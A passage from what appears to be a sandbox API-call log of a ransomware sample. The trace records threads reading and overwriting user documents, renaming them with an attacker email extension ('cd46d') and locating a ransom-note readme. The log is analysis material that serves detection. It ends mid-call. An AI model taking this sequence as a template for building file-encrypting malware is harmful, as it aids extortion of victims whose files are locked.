Seed=0x628fe88) returned 0x1147358a [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0xa2cf10e [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x3456d5e7 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x2420305d [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x50fb57e6 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x153a4375 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x59817d90 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x77b5a6e7 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x75c6e16 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x53a3f440 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x6458db91 [0047.691] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x5e1fc6cf [0047.692] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x29f69d63 [0047.692] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x17acc05a [0047.692] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x5cf7f69b [0047.692] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x37a08eab [0047.692] RtlRandomEx (in: Seed=0x628fe88 | out: Seed=0x628fe88) returned 0x72d38205 [0047.702] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.703] ReadFile (in: hFile=0x6b4, lpBuffer=0x961b078, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x628fe5c, lpOverlapped=0x0 | out: lpBuffer=0x961b078*, lpNumberOfBytesRead=0x628fe5c*=0xc800, lpOverlapped=0x0) returned 1 [0047.703] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.703] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c78 [0047.703] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45ad0 [0047.703] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46e68 [0047.703] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46e68) returned 1 [0047.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9627880 [0047.706] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46e68 [0047.706] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46f08 [0047.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f08) returned 1 [0047.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ad0) returned 1 [0047.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0047.706] WriteFile (in: hFile=0x6b4, lpBuffer=0x9627880*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x628fe5c, lpOverlapped=0x0 | out: lpBuffer=0x9627880*, lpNumberOfBytesWritten=0x628fe5c*=0xc800, lpOverlapped=0x0) returned 1 [0048.026] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9627880) returned 1 [0048.029] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x961b078) returned 1 [0048.031] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x5e470a0 [0048.031] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.031] WriteFile (in: hFile=0x6b4, lpBuffer=0x5e47a88*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x628fedc, lpOverlapped=0x0 | out: lpBuffer=0x5e47a88*, lpNumberOfBytesWritten=0x628fedc*=0x103, lpOverlapped=0x0) returned 1 [0048.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47a88) returned 1 [0048.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e470c8) returned 1 [0048.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e470f0) returned 1 [0048.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e470a0) returned 1 [0048.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46e68) returned 1 [0048.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46ee0) returned 1 [0048.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f30) returned 1 [0048.120] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f58) returned 1 [0048.120] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x442b08 [0048.120] wcscpy (in: _Dest=0x442b08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots" [0048.120] wcscat (in: _Dest=0x442b08, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots.mailto[2Hamlampampom@cock.li].cd46d" [0048.120] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x628fe94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.120] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00540 [0048.120] NtSetInformationFile (FileHandle=0x6b4, IoStatusBlock=0x628fe8c, FileInformation=0x5e00540, Length=0xc2, FileInformationClass=0xa) returned 0x0 [0048.179] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0048.179] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4579f0) returned 1 [0048.179] NtQueryInformationFile (in: FileHandle=0x6b4, IoStatusBlock=0x628fea0, FileInformation=0x628fe78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x628fea0, FileInformation=0x628fe78) returned 0x0 [0048.179] NtSetInformationFile (FileHandle=0x6b4, IoStatusBlock=0x628fea0, FileInformation=0x628fe78, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.186] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442b08) returned 1 [0048.186] FlushFileBuffers (hFile=0x6b4) returned 1 [0048.187] CloseHandle (hObject=0x6b4) returned 1 [0048.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400f98 [0048.189] wcscpy (in: _Dest=0x400f98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.189] wcscat (in: _Dest=0x400f98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.190] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400f98) returned 1 [0048.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421658) returned 1 Thread: id = 315 os_tid = 0xb64 [0047.707] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ggjvce2zos_.ppt")) returned 0x20 [0047.707] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt", dwFileAttributes=0x20) returned 1 [0047.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ggjvce2zos_.ppt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6b8 [0047.707] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x386fc0c | out: lpFileSize=0x386fc0c*=51590) returned 1 [0047.707] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0xc982, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.707] ReadFile (in: hFile=0x6b8, lpBuffer=0x386fb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x386fb8c, lpOverlapped=0x0 | out: lpBuffer=0x386fb90*, lpNumberOfBytesRead=0x386fb8c*=0x4, lpOverlapped=0x0) returned 1 [0047.708] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.708] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46f08 [0047.708] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46f80 [0047.708] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46fa8 [0047.708] NtQuerySystemTime (in: CurrentTime=0x386fb6c | out: CurrentTime=0x386fb6c*=132174898116816000) returned 0x0 [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x1a209d63 [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x432ddef4 [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x67c2496f [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x4c3719be [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x65bc9696 [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x4843a6a8 [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x55da796c [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0xe4aeaac [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x60e3176 [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x1c25f9bb [0047.708] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x6dad90e4 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x2ebfc8b1 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x609a3731 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x6872f0db [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x7d6b6374 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x3c743be6 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x58070b08 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x59262ebf [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x46c65292 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x701c82c5 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x3d7dd2c0 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x5d0b612 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x603b6527 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x24f23d4 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x35281e44 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x3e6fab00 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x14ecd777 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x31bd3ad [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x52041d90 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x7fe71020 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x2037a2e6 [0047.709] RtlRandomEx (in: Seed=0x386fb78 | out: Seed=0x386fb78) returned 0x51f98ae1 [0047.720] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.720] ReadFile (in: hFile=0x6b8, lpBuffer=0x9634088, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x386fb4c, lpOverlapped=0x0 | out: lpBuffer=0x9634088*, lpNumberOfBytesRead=0x386fb4c*=0xc800, lpOverlapped=0x0) returned 1 [0047.721] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c78 [0047.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45ad0 [0047.721] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46f08 [0047.721] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f08) returned 1 [0047.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9640890 [0047.724] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46f08 [0047.724] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46fa8 [0047.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46fa8) returned 1 [0047.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ad0) returned 1 [0047.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0047.724] WriteFile (in: hFile=0x6b8, lpBuffer=0x9640890*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x386fb4c, lpOverlapped=0x0 | out: lpBuffer=0x9640890*, lpNumberOfBytesWritten=0x386fb4c*=0xc800, lpOverlapped=0x0) returned 1 [0048.033] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9640890) returned 1 [0048.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9634088) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40ac28 [0048.038] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.038] WriteFile (in: hFile=0x6b8, lpBuffer=0x5e47b98*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x386fbcc, lpOverlapped=0x0 | out: lpBuffer=0x5e47b98*, lpNumberOfBytesWritten=0x386fbcc*=0x10f, lpOverlapped=0x0) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47b98) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac60) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47118) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac28) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f08) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f80) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46fd0) returned 1 [0048.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46ff8) returned 1 [0048.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02060 [0048.121] wcscpy (in: _Dest=0x5e02060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt" [0048.121] wcscat (in: _Dest=0x5e02060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt.mailto[2Hamlampampom@cock.li].cd46d" [0048.121] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x386fb84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40ccc8 [0048.121] NtSetInformationFile (FileHandle=0x6b8, IoStatusBlock=0x386fb7c, FileInformation=0x40ccc8, Length=0xce, FileInformationClass=0xa) returned 0x0 [0048.183] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ccc8) returned 1 [0048.183] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4575a0) returned 1 [0048.183] NtQueryInformationFile (in: FileHandle=0x6b8, IoStatusBlock=0x386fb90, FileInformation=0x386fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x386fb90, FileInformation=0x386fb68) returned 0x0 [0048.183] NtSetInformationFile (FileHandle=0x6b8, IoStatusBlock=0x386fb90, FileInformation=0x386fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.190] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02060) returned 1 [0048.190] FlushFileBuffers (hFile=0x6b8) returned 1 [0048.192] CloseHandle (hObject=0x6b8) returned 1 [0048.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x401018 [0048.193] wcscpy (in: _Dest=0x401018, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.193] wcscat (in: _Dest=0x401018, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.194] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x401018) returned 1 [0048.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419568) returned 1 Thread: id = 316 os_tid = 0xb68 [0047.724] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\giw9oa.ots")) returned 0x20 [0047.724] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots", dwFileAttributes=0x20) returned 1 [0047.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\giw9oa.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6bc [0047.724] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x63ef990 | out: lpFileSize=0x63ef990*=18869) returned 1 [0047.725] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x49b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.725] ReadFile (in: hFile=0x6bc, lpBuffer=0x63ef914, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x63ef910, lpOverlapped=0x0 | out: lpBuffer=0x63ef914*, lpNumberOfBytesRead=0x63ef910*=0x4, lpOverlapped=0x0) returned 1 [0047.725] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.725] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46fa8 [0047.725] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47020 [0047.725] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed818 [0047.726] NtQuerySystemTime (in: CurrentTime=0x63ef8f0 | out: CurrentTime=0x63ef8f0*=132174898117128000) returned 0x0 [0047.726] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x7a53bbac [0047.726] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x37b07107 [0047.726] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x29b4eeca [0047.726] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x42c565b1 [0047.726] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x1321b5c5 [0047.726] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x42af876f [0047.726] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x48fe3c0d [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x1e640082 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x2f55248f [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x2317ad2e [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x1cdbfe38 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x717bd514 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x2398376e [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x118ee688 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x54eca489 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x778d7c29 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x24439a6e [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x1dfecdda [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0xca62b8e [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x54b044c [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x68aef2dc [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x3be9e409 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x38bd3a0b [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x607e174a [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x3ca32b24 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x641e86d [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x4e1ed948 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x1acf0361 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x63403faf [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x3df7d823 [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x79343cab [0047.727] RtlRandomEx (in: Seed=0x63ef8fc | out: Seed=0x63ef8fc) returned 0x2b646282 [0047.740] ReadFile (in: hFile=0x6bc, lpBuffer=0x964d098, nNumberOfBytesToRead=0x49b5, lpNumberOfBytesRead=0x63ef8ec, lpOverlapped=0x0 | out: lpBuffer=0x964d098*, lpNumberOfBytesRead=0x63ef8ec*=0x49b5, lpOverlapped=0x0) returned 1 [0047.741] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.741] WriteFile (in: hFile=0x6bc, lpBuffer=0x96598a0*, nNumberOfBytesToWrite=0x49b5, lpNumberOfBytesWritten=0x63ef8e8, lpOverlapped=0x0 | out: lpBuffer=0x96598a0*, lpNumberOfBytesWritten=0x63ef8e8*=0x49b5, lpOverlapped=0x0) returned 1 [0048.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47140 [0048.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47168 [0048.040] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47168) returned 1 [0048.040] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96598a0) returned 1 [0048.042] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x964d098) returned 1 [0048.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ad0) returned 1 [0048.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0048.047] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4ef198 [0048.047] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.047] WriteFile (in: hFile=0x6bc, 